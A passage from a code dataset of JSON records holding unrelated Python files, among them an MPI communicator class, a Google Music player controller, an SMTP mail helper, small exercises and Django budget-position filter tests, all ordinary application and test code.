COMM_WORLD.\n if not isinstance(world, MPI.Comm):\n log.warning(\n \"Specified world communicator is not a valid \"\n \"mpi4py.MPI.Comm object. Using COMM_WORLD.\"\n )\n world = MPI.COMM_WORLD\n else:\n log.warning(\n \"World communicator specified even though \"\n \"MPI is disabled. Ignoring this constructor \"\n \"argument.\"\n )\n world = None\n # Special case, MPI available but the user want a serial\n # data object\n if world == MPI.COMM_SELF:\n world = None\n\n self._wcomm = world\n self._wrank = 0\n self._wsize = 1\n if self._wcomm is not None:\n self._wrank = self._wcomm.rank\n self._wsize = self._wcomm.size\n\n self._gsize = groupsize\n\n if (self._gsize < 0) or (self._gsize > self._wsize):\n log.warning(\n \"Invalid groupsize ({}). Should be between {} \"\n \"and {}. Using single process group instead.\".format(\n groupsize, 0, self._wsize\n )\n )\n self._gsize = 0\n\n if self._gsize == 0:\n self._gsize = self._wsize\n\n self._ngroups = self._wsize // self._gsize\n\n if self._ngroups * self._gsize != self._wsize:\n msg = (\n \"World communicator size ({}) is not evenly divisible \"\n \"by requested group size ({}).\".format(self._wsize, self._gsize)\n )\n log.error(msg)\n raise RuntimeError(msg)\n\n self._group = self._wrank // self._gsize\n self._grank = self._wrank % self._gsize\n\n if self._ngroups == 1:\n # We just have one group with all processes.\n self._gcomm = self._wcomm\n if use_mpi:\n self._rcomm = MPI.COMM_SELF\n else:\n self._rcomm = None\n else:\n # We need to split the communicator. This code is never executed\n # unless MPI is enabled and we have multiple groups.\n self._gcomm = self._wcomm.Split(self._group, self._grank)\n self._rcomm = self._wcomm.Split(self._grank, self._group)\n\n @property\n def world_size(self):\n \"\"\"The size of the world communicator.\"\"\"\n return self._wsize\n\n @property\n def world_rank(self):\n \"\"\"The rank of this process in the world communicator.\"\"\"\n return self._wrank\n\n @property\n def ngroups(self):\n \"\"\"The number of process groups.\"\"\"\n return self._ngroups\n\n @property\n def group(self):\n \"\"\"The group containing this process.\"\"\"\n return self._group\n\n @property\n def group_size(self):\n \"\"\"The size of the group containing this process.\"\"\"\n return self._gsize\n\n @property\n def group_rank(self):\n \"\"\"The rank of this process in the group communicator.\"\"\"\n return self._grank\n\n @property\n def comm_world(self):\n \"\"\"The world communicator.\"\"\"\n return self._wcomm\n\n @property\n def comm_group(self):\n \"\"\"The communicator shared by processes within this group.\"\"\"\n return self._gcomm\n\n @property\n def comm_rank(self):\n \"\"\"The communicator shared by processes with the same group_rank.\"\"\"\n return self._rcomm\n\n def __repr__(self):\n lines = [\n \" World MPI communicator = {}\".format(self._wcomm),\n \" World MPI size = {}\".format(self._wsize),\n \" World MPI rank = {}\".format(self._wrank),\n \" Group MPI communicator = {}\".format(self._gcomm),\n \" Group MPI size = {}\".format(self._gsize),\n \" Group MPI rank = {}\".format(self._grank),\n \" Rank MPI communicator = {}\".format(self._rcomm),\n ]\n return \"\".format(\"\\n\".join(lines))\n","repo_name":"hpc4cmb/toast","sub_path":"src/toast/mpi.py","file_name":"mpi.py","file_ext":"py","file_size_in_byte":6962,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"3"} +{"seq_id":"33953863825","text":"\nfrom dish import Dish\n\ndef canCook(supplies,dishes):\n cookableDishes = []\n #matches = 0\n for dish in dishes:\n if(all(x in supplies for x in dish.getIngredients())):\n #for i in dish.getIngredients():\n # if i not in supplies:\n # break\n # else: \n # matches +=1\n # if matches == len(dish.getIngredients()):\n # matches = 0\n cookableDishes.append(dish)\n return cookableDishes\n \n\n#some sample dishes to get started\ndishes = [Dish('baklava',['pistachios', 'crust', 'lots of butter']), Dish('salmon', ['salmon']), Dish('omelette', ['eggs'])]\nsupplies = []\nprompt = True\n\nwhile(prompt):\n response = input('Enter 1 to add a dish, 2 to see all dishes, 3 to check supplies, 4 to delete a dish, and 5 to quit \\n')\n if response == '1':\n name = input('Enter your dish name:\\n')\n ingredients = []\n more = True\n while(more):\n res = input('Enter a dish ingredient, or 0 to exit:\\n')\n if res != '0':\n ingredients.append(res)\n else:\n more= False\n dishes.append(Dish(name, ingredients))\n elif response == '2':\n for yum in dishes:\n print(yum.getName(), yum.getIngredients())\n elif response == '3':\n more = True\n while(more):\n res = input('Enter an ingredient you have, or 0 when finished:\\n')\n if res != '0':\n supplies.append(res)\n else:\n more= False \n matches = canCook(supplies, dishes)\n print('You can cook the following: \\n')\n for match in matches:\n print(match.getName())\n print('Ingredients: \\n', match.getIngredients())\n supplies = []\n elif response == '4':\n print('These are all your dishes.')\n dishList = enumerate(dishes)\n for x in dishList:\n print(x[0]+1, \": \", x[1].getName())\n res = int(input('Which one would you like to delete?\\n'))\n del dishes[res-1]\n elif response == '5':\n prompt = False\n\n else:\n print('Select a valid entry.\\n')\n \n\n\n\n \n\n","repo_name":"AndreaWieland/internship_interview","sub_path":"python_only/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10094682946","text":"# from wsgiref.simple_server import make_server\r\nimport time\r\nfrom apps.common_app import CommonApp\r\nfrom server.multi_server import make_server\r\nfrom middleware.request_middleware import ban_ip\r\nfrom router.common_router import CommonRouter\r\nfrom webob import Response\r\n\r\n\"\"\"\r\n当我们去 import 一个 Package 的时候，它会隐性的去执行 __init__.py\r\n\"\"\"\r\n\r\n# 创建Router对象\r\nrouter = CommonRouter()\r\n# 初始化一级路由\r\nsecond_router = CommonRouter('/home')\r\n# 注册\r\nCommonApp.register_router(router, second_router)\r\n# CommonApp.register_intercept(ban_ip)\r\n\r\n\r\n@second_router.route(r'^/{id:str}$') # 支持所有方法访问\r\ndef index_handler(request):\r\n id = ''\r\n if request.vars:\r\n id = request.vars.id\r\n print(type(id))\r\n # time.sleep(3)\r\n return '

    北京欢迎你{}. beijing

    '.format(id)\r\n\r\n\r\n@second_router.get('^/about$')\r\ndef about_handler(request):\r\n if request.vars:\r\n print(type(request.vars.id))\r\n res = Response()\r\n res.charset = 'utf-8'\r\n res.body = '

    About me

    '.encode()\r\n return res\r\n\r\n\r\nif __name__ == '__main__':\r\n SERVER_ADDRESS = (HOST, PORT) = '', 9999\r\n ip = '127.0.0.1'\r\n port = 9999\r\n httpd = make_server(SERVER_ADDRESS, CommonApp())\r\n print('WSGIServer: Serving HTTP on port {port} ...\\n'.format(port=PORT))\r\n httpd.serve_forever()\r\n\r\n","repo_name":"Zhang-Jane/simple_web_server","sub_path":"common_run.py","file_name":"common_run.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12817188827","text":"import signal\nimport random\nimport os\nimport psutil\nfrom subprocess import Popen\nfrom multiprocessing import Process, Manager\nfrom gmusicapi import Mobileclient\n\n\n'''\nReference:\nhttps://unofficial-google-music-api.readthedocs.io/en/latest/reference/mobileclient.html\n'''\n\n\nclass Song(object):\n def __init__(self, song_data: dict):\n self.id = song_data['storeId']\n self.name = song_data['title']\n self.artist = song_data['artist']\n if song_data['album'] == '<|\\u00ba_\\u00ba|>':\n song_data['album'] = 'Robot Face'\n self.album = song_data['album']\n\n\nclass Artist(object):\n def __init__(self, artist_data: dict):\n self.id = artist_data['artistId']\n self.name = artist_data['name']\n\n\nclass Album(object):\n def __init__(self, album_data: dict):\n self.id = album_data['albumId']\n self.name = album_data['name']\n self.artist = album_data['artist']\n\n\nclass Playlist(object):\n def __init__(self, name):\n self.name = name\n self.songs = []\n\n def add_song(self, song_data):\n self.songs.append(Song(song_data))\n\n def set_list(self, song_list: list):\n self.songs = song_list\n\n def shuffle(self):\n random.shuffle(self.songs)\n\n def __len__(self):\n return len(self.songs)\n\n\nclass SearchResults(object):\n def __init__(self, raw_data: dict):\n self.songs = []\n for s in raw_data['song_hits']:\n self.songs.append(Song(s['track']))\n self.artists = []\n for a in raw_data['artist_hits']:\n self.artists.append(Artist(a['artist']))\n self.albums = []\n for a in raw_data['album_hits']:\n self.albums.append(Album(a['album']))\n\n\nclass GoogleMusicController(object):\n def __init__(self):\n self.device_id = os.environ['GOOGLE_MUSIC_DEVICE_ID']\n self.client = Mobileclient(debug_logging=False)\n # TODO: change this to relative path from run location\n self.client.oauth_login(Mobileclient.FROM_MAC_ADDRESS, 'iota/auth.json')\n self.player_data = Manager().dict()\n self.player = None\n self.player_pid = None\n self.playlist = Playlist('Now Playing')\n\n def _get_entity(self, name: str, type: str, extra_filter=lambda _: True):\n results = self.search(name).__dict__[type]\n if len(results) == 0:\n return None\n results = list(filter(extra_filter, results))\n if len(results) == 0:\n return None\n # We will trust Google's ability to filter search results... :P\n return results[0]\n\n def _get_song(self, name: str, artist: str = '', album: str = '') -> Song:\n if artist != '' and album != '':\n return self._get_entity(\n name,\n 'songs',\n lambda x:\n x.artist.lower() == artist and x.album.lower() == album\n )\n if artist != '':\n return self._get_entity(\n name, 'songs', lambda x: x.artist.lower() == artist\n )\n if album != '':\n return self._get_entity(\n name, 'songs', lambda x: x.album.lower() == album\n )\n return self._get_entity(name, 'songs')\n\n def _get_album(self, name: str, artist: str = '') -> Album:\n if artist != '':\n return self._get_entity(\n name, 'albums', lambda x: x.artist == artist\n )\n return self._get_entity(name, 'albums')\n\n def _get_artist(self, name: str) -> Artist:\n return self._get_entity(name, 'artists')\n\n def _get_playlist(self, name: str) -> Playlist:\n playlists = self.client.get_all_user_playlist_contents()\n matched_playlists = []\n for p in playlists:\n p_name = p['name'].lower()\n if p_name == name or p_name == name.replace(' ', ''):\n matched_playlists.append(p)\n if len(matched_playlists) > 0:\n found = matched_playlists[0]\n self.playlist = Playlist(found['name'])\n [self.playlist.add_song(track['track'])\n for track in found['tracks']]\n return self.playlist\n return None\n\n def play_song(\n self, name: str, callback_at_end, artist: str = '', album: str = ''\n ):\n song = self._get_song(name, artist, album)\n if song is None:\n return f'I couldn\\'t find a song called {name} by {artist}'\n return self.play_playlist(\n 'Now Playing', callback_at_end, song_list=[song]\n )\n\n def play_playlist(\n self,\n name: str,\n callback_at_end,\n song_list=[],\n start=0,\n shuffle=False,\n ) -> str:\n if song_list == []:\n self.playlist = self._get_playlist(name)\n if self.playlist is None:\n return f'I couldn\\'t find a playlist called {name}'\n else:\n self.playlist = Playlist(name)\n self.playlist.set_list(song_list)\n if shuffle:\n self.playlist.shuffle()\n\n # Embed this so we don't have to pass a bunch of context out\n def get_url(id):\n # we need to logout and log back in to allow rapid requesting\n # of stream_urls -- they expire after a minute, and can't be\n # re-requested before then without an SSLError...thanks Google.\n self.client.logout()\n self.client.oauth_login(Mobileclient.FROM_MAC_ADDRESS, 'auth.json')\n return self.client.get_stream_url(id, device_id=self.device_id)\n # Spawn a subprocess for the player\n self.player = Process(\n target=spawn_player,\n args=(\n get_url,\n self.playlist,\n self.player_data,\n callback_at_end,\n start\n )\n )\n self.player.start()\n self.player_pid = self.player.pid\n return None\n\n def pause_song(self):\n if 'pid' in self.player_data.keys():\n psutil.Process(self.player_data['pid']).send_signal(signal.SIGSTOP)\n\n def resume_song(self):\n if 'pid' in self.player_data.keys():\n psutil.Process(self.player_data['pid']).send_signal(signal.SIGCONT)\n\n def stop_player(self):\n if 'pid' in self.player_data.keys():\n psutil.Process(self.player_data['pid']).send_signal(signal.SIGSTOP)\n # self.player.terminate()\n\n def next_song(self) -> str:\n if 'pid' in self.player_data.keys():\n psutil.Process(self.player_data['pid']).send_signal(signal.SIGTERM)\n\n def previous_song(self) -> str:\n if 'index' not in self.player_data.keys():\n return 'Could not start the playlist, missing index'\n idx = self.player_data['index']\n idx = idx - 1 if idx > 0 else 0\n if not self.player_data['done']:\n self.stop_player()\n self.play_playlist(\n self.playlist.name.lower(), self.playlist.songs, start=idx\n )\n return ''\n\n def start_over(self):\n return ''\n\n def search(self, query: str, max_results: int = 100) -> SearchResults:\n results = self.client.search(query, max_results)\n return SearchResults(results)\n\n\ndef spawn_player(get_url, playlist, shared, callback_at_end, start=0):\n for index in range(start, len(playlist.songs)):\n song = playlist.songs[index]\n stream_url = get_url(song.id).replace('https', 'http')\n process = Popen(['mpg123', '--quiet', stream_url])\n shared['pid'] = process.pid\n shared['index'] = index\n shared['done'] = False\n process.wait()\n shared['done'] = True\n callback_at_end()\n","repo_name":"3digitdev/iota","sub_path":"iota/modules/GoogleMusic/GoogleMusicController.py","file_name":"GoogleMusicController.py","file_ext":"py","file_size_in_byte":7726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39920372760","text":"from editdist import edit_dist\nfrom tree import dictionary\n\n\ndef searchTree(tree, parent, query, similarWords):\n parentList = tree.get(parent)\n d = edit_dist(parent, query)\n tolerence = 2\n\n # if the parent word is in acceptable tolerance t\n if d <= tolerence:\n similarWords.append(parent)\n\n # Do not have the first index become a negative number\n if d - tolerence <= 0:\n low = 0\n else:\n low = d - tolerence\n\n # only look at children in acceptable range\n # [edit-dist(parent, query) + t, edit-distance(parent, query) - t]\n for i in range(low, d + tolerence + 1):\n try:\n child = parentList[i + 2][1]\n searchTree(tree, child, query, similarWords)\n except:\n break \n \n\ndef returnSimilars(tree, parent, query, similarWords):\n searchTree(tree, parent, query, similarWords)\n finalSuggestions = []\n finalTol = 1\n\n # make sure that the final words that are presented are within the\n # tolerence limit in order to make suggestions more accurate \n for i in range(len(similarWords)):\n if edit_dist(similarWords[i], query) <= finalTol:\n finalSuggestions.append(similarWords[i])\n\n return finalSuggestions\n\nqueryWord = input(\"What word do you want to check? \").lower().strip()\nprint(returnSimilars(dictionary, \"stick\", queryWord, []))","repo_name":"CodingKraken/spellcheck","sub_path":"BK_tree_search.py","file_name":"BK_tree_search.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"10975302956","text":"import random\n\n\nclass Triangle:\n def __init__(self, first_side, second_side, third_side):\n self.a = first_side\n self.b = second_side\n self.c = third_side\n\n def check_is_triangle(self):\n if self.a < self.b + self.c and self.b < self.c + self.a and self.c < self.a + self.b:\n length_type = 'Треугольник разносторонний'\n if self.a == self.b == self.c:\n length_type = 'Треугольник равносторонний'\n elif self.a == self.b or self.b == self.c or self.c == self.a:\n length_type = 'Треугольник равнобедренный'\n return f'Треугольник с такими сторонами существует. {length_type}'\n else:\n return 'Треугольник с такими сторонами не существует'\n\n\nclass Matrix:\n def __init__(self, count_rows: int, count_columns: int):\n self.rows = count_rows\n self.columns = count_columns\n self.matrix = [[random.randint(1, 100) for i in range(self.rows)] for j in range(self.columns)]\n\n def trans_matrix_zip(self):\n return list(zip(*self.matrix))\n\n\nmatrix1 = Matrix(5, 5)\nfor i in matrix1.matrix:\n print(i)\nprint('=======')\nfor i in matrix1.trans_matrix_zip():\n print(i)\n\ntriangle1 = Triangle(10, 10, 8)\ntriangle2 = Triangle(10, 10, 10)\ntriangle3 = Triangle(10, 9, 8)\ntriangle4 = Triangle(10, 10, -8)\nprint(triangle1.check_is_triangle())\nprint(triangle2.check_is_triangle())\nprint(triangle3.check_is_triangle())\nprint(triangle4.check_is_triangle())\n","repo_name":"Ilya-Kolotov/Homework_Advanced_Python","sub_path":"HW_10/Task2.py","file_name":"Task2.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42275359999","text":"'''\r\nCreated on 2019. 1. 27.\r\n\r\n@author: user\r\n'''\r\nfrom django.urls import path\r\nfrom .views import *\r\n\r\napp_name= 'cl'\r\n\r\nurlpatterns = [\r\n #127.0.0.1:8000/cl/signup/\r\n path('signup/', signup, name = 'signup'),\r\n #127.0.0.1:8000/cl/signin/\r\n path('signin/', signin, name = 'signin'),\r\n #127.0.0.1:8000/cl/signout/\r\n path('signout/', signout, name = 'signout'),\r\n ]","repo_name":"jha0534/django1","sub_path":"django1/src/customlogin/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10854008001","text":"import smtplib\nimport urllib.parse\nimport email.utils\nimport textwrap\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\n\nclass MailSender():\n\t_DEFAULT_PORTS = {\n\t\t\"smtp\":\t\t\t25,\n\t\t\"smtps\":\t\t465,\n\t\t\"submission\":\t587,\n\t}\n\n\tdef __init__(self, smtp_uri = \"smtp://127.0.0.1\", use_starttls = True, auth = None, x_mailer = \"https://github.com/johndoe31415/pycommon MailSender\"):\n\t\tself._uri = urllib.parse.urlparse(smtp_uri)\n\t\tassert(self._uri.scheme.lower() in self._DEFAULT_PORTS)\n\t\thostname_port = self._uri.netloc.split(\":\", maxsplit = 1)\n\t\tif len(hostname_port) == 2:\n\t\t\t(self._hostname, self._port) = (hostname_port[0], int(hostname_port[1]))\n\t\telse:\n\t\t\tself._hostname = hostname_port[0]\n\t\t\tself._port = self._DEFAULT_PORTS[self._uri.scheme]\n\t\tself._starttls = use_starttls\n\t\tself._auth = auth\n\t\tself._x_mailer = x_mailer\n\n\t@classmethod\n\tdef wrap_paragraphs(cls, text, width = 72):\n\t\toutput = [ ]\n\t\tfor paragraph in text.split(\"\\n\"):\n\t\t\tif paragraph == \"\":\n\t\t\t\toutput.append(\"\")\n\t\t\telse:\n\t\t\t\toutput += textwrap.wrap(paragraph, width = width)\n\t\treturn \"\\n\".join(output)\n\n\t@staticmethod\n\tdef _format_address(address_input):\n\t\tif isinstance(address_input, str):\n\t\t\treturn address_input\n\t\telse:\n\t\t\treturn email.utils.formataddr(address_input)\n\n\tdef _format_addresses(self, address_input):\n\t\tif isinstance(address_input, str):\n\t\t\treturn [ self._format_address(address_input) ]\n\t\telse:\n\t\t\treturn [ self._format_address(address) for address in address_input ]\n\n\tdef send(self, from_addr, subject, body_text = None, body_html = None, to_addr = None, to_addrs = None, cc_addrs = None, bcc_addrs = None):\n\t\tif (to_addr is None) and (to_addrs is None):\n\t\t\traise ValueError(\"Either 'to_addr' or 'to_addrs' must be specified.\")\n\t\telif (to_addr is not None) and (to_addrs is not None):\n\t\t\traise ValueError(\"Either of 'to_addr' or 'to_addrs' must be specified, not both.\")\n\t\tif (body_text is None) and (body_html is None):\n\t\t\traise ValueError(\"At least one of 'body_text' or 'body_html' must be specified.\")\n\n\t\tif body_html is None:\n\t\t\t# Text only\n\t\t\tmessage = MIMEText(body_text, \"plain\")\n\t\telif body_text is None:\n\t\t\t# HTML only\n\t\t\tmessage = MIMEText(body_html, \"html\")\n\t\telse:\n\t\t\t# Text and HTML\n\t\t\tmessage = MIMEMultipart(\"alternative\")\n\t\t\tmessage.attach(MIMEText(body_text, \"plain\"))\n\t\t\tmessage.attach(MIMEText(body_html, \"html\"))\n\n\t\tfrom_addr = self._format_address(from_addr)\n\t\tif to_addr is not None:\n\t\t\tto_addr = [ self._format_address(to_addr) ]\n\t\telse:\n\t\t\tto_addr = self._format_addresses(to_addrs)\n\t\tmessage[\"From\"] = from_addr\n\t\tmessage[\"To\"] = \", \".join(to_addr)\n\t\tmessage[\"Subject\"] = subject\n\t\tif cc_addrs is not None:\n\t\t\tmessage[\"CC\"] = \", \".join(self._format_addresses(cc_addrs))\n\t\tif bcc_addrs is not None:\n\t\t\tmessage[\"BCC\"] = \", \".join(self._format_addresses(bcc_addrs))\n\t\tmessage[\"Date\"] = email.utils.formatdate(localtime = True)\n\t\tmessage[\"MIME-Version\"] = \"1.0\"\n\t\tif self._x_mailer is not None:\n\t\t\tmessage[\"X-Mailer\"] = self._x_mailer\n\t\tmessage = message.as_string()\n\n\t\tif self._uri.scheme.lower() == \"smtp\":\n\t\t\tconn = smtplib.SMTP(self._hostname, self._port)\n\t\telif self._uri.scheme.lower() == \"smtps\":\n\t\t\tconn = smtplib.SMTP_SSL(self._hostname, self._port)\n\n\t\twith conn as server:\n\t\t\tif self._starttls and (self._uri.scheme.lower() == \"smtp\"):\n\t\t\t\tserver.starttls()\n\n\t\t\tif self._auth is not None:\n\t\t\t\tserver.login(self._auth[0], self._auth[1])\n\n\t\t\temail_from = email.utils.getaddresses([ from_addr ])[0][1]\n\t\t\temail_to = email.utils.getaddresses([ to_addr[0] ])[0][1]\n\t\t\tserver.sendmail(email_from, email_to, message)\n\nif __name__ == \"__main__\":\n\tprint(MailSender.wrap_paragraphs(\"\"\"\\\nTest test testTest test testTest test testTest test testTest test testTest test testTest test testTest test testTest test testTest test testTest test test\n\nJa ja ja ja ja.\n\nTest\n\"\"\"))\n\n\tmail = MailSender()\n\t#mail.send((\"Thäng\", \"thaeng@foo.com\") , to_addr = \"target@x.de\", subject = \"Hey there\", body_text = \"What are you up to?\")\n\t#mail.send((\"Thäng\", \"thaeng@foo.com\") , to_addr = \"target@x.de\", subject = \"Hey there\", body_html = \"What are you up to?\")\n\tmail.send((\"Thäng\", \"thaeng@foo.com\") , to_addr = \"target@x.de\", subject = \"Hey there\", body_text = \"text!\", body_html = \"What are you up to?\")\n","repo_name":"johndoe31415/pycommon","sub_path":"pycommon/MailSender.py","file_name":"MailSender.py","file_ext":"py","file_size_in_byte":4246,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"29023583487","text":"import pytest\n\nfrom random import random\n\nfrom staff.budget_position.models import BudgetPositionAssignmentStatus, ReplacementType\nfrom staff.budget_position.tests.utils import BudgetPositionAssignmentFactory, RewardFactory\nfrom staff.departments.tests.factories import VacancyFactory\nfrom staff.lib.testing import (\n BudgetPositionFactory,\n DepartmentFactory,\n GeographyDepartmentFactory,\n StaffFactory,\n ValueStreamFactory,\n)\n\nfrom staff.headcounts.budget_position_assignment_filter_context import BudgetPositionAssignmentFilterContext\nfrom staff.headcounts.forms import QUANTITY_FILTER\n\n\n@pytest.mark.django_db()\ndef test_positions_objects_qs_filter_by_position_statuses():\n status = BudgetPositionAssignmentStatus.MATERNITY.value\n assignment = BudgetPositionAssignmentFactory(status=status)\n BudgetPositionAssignmentFactory()\n\n target = BudgetPositionAssignmentFilterContext(position_statuses=[status])\n\n result = target.positions_objects_qs()\n\n assert result.get().pk == assignment.pk\n\n\n@pytest.mark.django_db()\ndef test_positions_objects_qs_filter_by_replacement_type():\n replacement_type = ReplacementType.WITHOUT_REPLACEMENT.value\n assignment = BudgetPositionAssignmentFactory(replacement_type=replacement_type)\n BudgetPositionAssignmentFactory()\n\n target = BudgetPositionAssignmentFilterContext(replacement_type=[replacement_type])\n\n result = target.positions_objects_qs()\n\n assert result.get().pk == assignment.pk\n\n\n@pytest.mark.django_db()\n@pytest.mark.parametrize(\n 'category_is_new',\n [\n True,\n False,\n ],\n)\ndef test_positions_objects_qs_filter_by_category_is_new(category_is_new):\n assignment = BudgetPositionAssignmentFactory(creates_new_position=category_is_new)\n BudgetPositionAssignmentFactory(creates_new_position=not category_is_new)\n\n target = BudgetPositionAssignmentFilterContext(category_is_new=category_is_new)\n\n result = target.positions_objects_qs()\n\n assert result.get().pk == assignment.pk\n\n\n@pytest.mark.django_db()\n@pytest.mark.parametrize(\n 'main_assignment',\n [\n True,\n False,\n ],\n)\ndef test_positions_objects_qs_filter_by_main_assignment(main_assignment):\n assignment = BudgetPositionAssignmentFactory(main_assignment=main_assignment)\n BudgetPositionAssignmentFactory(main_assignment=not main_assignment)\n\n target = BudgetPositionAssignmentFilterContext(main_assignment=main_assignment)\n\n result = target.positions_objects_qs()\n\n assert result.get().pk == assignment.pk\n\n\n@pytest.mark.django_db()\ndef test_positions_objects_qs_filter_by_is_crossing():\n assignment = BudgetPositionAssignmentFactory()\n next_assignment = BudgetPositionAssignmentFactory(previous_assignment=assignment)\n\n target_class = BudgetPositionAssignmentFilterContext\n\n assert target_class(is_crossing=True).positions_objects_qs().get().pk == assignment.pk\n assert target_class(is_crossing=False).positions_objects_qs().get().pk == next_assignment.pk\n\n\n@pytest.mark.django_db()\ndef test_positions_objects_qs_filter_by_category():\n reward = RewardFactory(category='Mass', name='Mass')\n assignment = BudgetPositionAssignmentFactory(reward=reward)\n BudgetPositionAssignmentFactory()\n\n target = BudgetPositionAssignmentFilterContext(category=['Mass'])\n\n result = target.positions_objects_qs()\n\n assert result.get().pk == assignment.pk\n\n\n@pytest.mark.django_db()\ndef test_positions_objects_qs_filter_by_current_person():\n current_person = StaffFactory()\n assignment = BudgetPositionAssignmentFactory(person=current_person)\n BudgetPositionAssignmentFactory()\n\n target = BudgetPositionAssignmentFilterContext(current_person=current_person)\n\n result = target.positions_objects_qs()\n\n assert result.get().pk == assignment.pk\n\n\n@pytest.mark.django_db()\ndef test_positions_objects_qs_filter_by_replaced_person():\n replaced_person = StaffFactory()\n assignment = BudgetPositionAssignmentFactory(\n previous_assignment=BudgetPositionAssignmentFactory(person=replaced_person),\n )\n BudgetPositionAssignmentFactory(previous_assignment=BudgetPositionAssignmentFactory())\n\n target = BudgetPositionAssignmentFilterContext(replaced_person=replaced_person)\n\n result = target.positions_objects_qs()\n\n assert result.get().pk == assignment.pk\n\n\n@pytest.mark.django_db()\ndef test_positions_objects_qs_filter_by_code():\n budget_position = BudgetPositionFactory()\n assignment = BudgetPositionAssignmentFactory(budget_position=budget_position)\n BudgetPositionAssignmentFactory()\n\n target = BudgetPositionAssignmentFilterContext(code=budget_position.code)\n\n result = target.positions_objects_qs()\n\n assert result.get().pk == assignment.pk\n\n\n@pytest.mark.django_db()\ndef test_positions_objects_qs_filter_by_codes():\n budget_position = BudgetPositionFactory()\n assignment = BudgetPositionAssignmentFactory(budget_position=budget_position)\n BudgetPositionAssignmentFactory()\n\n target = BudgetPositionAssignmentFilterContext(codes=[budget_position.code])\n\n result = target.positions_objects_qs()\n\n assert result.get().pk == assignment.pk\n\n\n@pytest.mark.django_db()\ndef test_positions_objects_qs_filter_by_department_url():\n department = DepartmentFactory()\n assignment = BudgetPositionAssignmentFactory(department=department)\n BudgetPositionAssignmentFactory()\n\n target = BudgetPositionAssignmentFilterContext(department_url=department.url)\n\n result = target.positions_objects_qs()\n\n assert result.get().pk == assignment.pk\n\n\n@pytest.mark.django_db()\ndef test_positions_objects_qs_filter_by_exact_department():\n department = DepartmentFactory()\n assignment = BudgetPositionAssignmentFactory(department=department)\n BudgetPositionAssignmentFactory()\n\n target = BudgetPositionAssignmentFilterContext(department=department)\n\n result = target.positions_objects_qs()\n\n assert result.get().pk == assignment.pk\n\n\n@pytest.mark.django_db()\ndef test_positions_objects_qs_filter_by_nested_department():\n department = DepartmentFactory()\n a_nested_department = DepartmentFactory(parent=department)\n assignment = BudgetPositionAssignmentFactory(department=a_nested_department)\n BudgetPositionAssignmentFactory()\n\n target = BudgetPositionAssignmentFilterContext(department=department)\n\n result = target.positions_objects_qs()\n\n assert result.get().pk == assignment.pk\n\n\n@pytest.mark.django_db()\ndef test_positions_objects_qs_filter_by_exact_value_stream():\n value_stream = ValueStreamFactory()\n assignment = BudgetPositionAssignmentFactory(value_stream=value_stream)\n BudgetPositionAssignmentFactory()\n\n target = BudgetPositionAssignmentFilterContext(value_stream=value_stream)\n\n result = target.positions_objects_qs()\n\n assert result.get().pk == assignment.pk\n\n\n@pytest.mark.django_db()\ndef test_positions_objects_qs_filter_by_nested_value_stream():\n value_stream = ValueStreamFactory()\n a_nested_value_stream = ValueStreamFactory(parent=value_stream)\n assignment = BudgetPositionAssignmentFactory(value_stream=a_nested_value_stream)\n BudgetPositionAssignmentFactory()\n\n target = BudgetPositionAssignmentFilterContext(value_stream=value_stream)\n\n result = target.positions_objects_qs()\n\n assert result.get().pk == assignment.pk\n\n\n@pytest.mark.django_db()\ndef test_positions_objects_qs_filter_by_exact_geography():\n geography = GeographyDepartmentFactory()\n assignment = BudgetPositionAssignmentFactory(geography=geography)\n BudgetPositionAssignmentFactory()\n\n target = BudgetPositionAssignmentFilterContext(geography=geography)\n\n result = target.positions_objects_qs()\n\n assert result.get().pk == assignment.pk\n\n\n@pytest.mark.django_db()\ndef test_positions_objects_qs_filter_by_nested_geography():\n geography = GeographyDepartmentFactory()\n a_nested_geography = GeographyDepartmentFactory(parent=geography)\n assignment = BudgetPositionAssignmentFactory(geography=a_nested_geography)\n BudgetPositionAssignmentFactory()\n\n target = BudgetPositionAssignmentFilterContext(geography=geography)\n\n result = target.positions_objects_qs()\n\n assert result.get().pk == assignment.pk\n\n\n@pytest.mark.django_db()\n@pytest.mark.parametrize(\n 'quantity, correct_headcount, wrong_headcount',\n [\n [QUANTITY_FILTER.ZERO, 0, 1],\n [QUANTITY_FILTER.ZERO, 0, -1],\n [QUANTITY_FILTER.GREATER_THAN_ZERO, 1, 0],\n [QUANTITY_FILTER.GREATER_THAN_ZERO, 1, -1],\n [QUANTITY_FILTER.LESS_THAN_ZERO, -1, 0],\n [QUANTITY_FILTER.LESS_THAN_ZERO, -1, 1],\n ],\n)\ndef test_positions_objects_qs_filter_by_quantity(quantity, correct_headcount, wrong_headcount):\n assignment = BudgetPositionAssignmentFactory(budget_position=BudgetPositionFactory(headcount=correct_headcount))\n BudgetPositionAssignmentFactory(budget_position=BudgetPositionFactory(headcount=wrong_headcount))\n\n target = BudgetPositionAssignmentFilterContext(quantity=quantity)\n\n result = target.positions_objects_qs()\n\n assert result.get().pk == assignment.pk\n\n\n@pytest.mark.django_db()\ndef test_positions_qs_default_fields():\n assignment = BudgetPositionAssignmentFactory(person=StaffFactory())\n\n target = BudgetPositionAssignmentFilterContext()\n\n result = target.positions_qs()\n\n assert result.get() == {\n 'budget_position__code': assignment.budget_position.code,\n 'name': assignment.name,\n 'budget_position__headcount': assignment.budget_position.headcount,\n 'change_reason': assignment.change_reason,\n 'creates_new_position': assignment.creates_new_position,\n 'department__id': assignment.department_id,\n 'department__name': assignment.department.name,\n 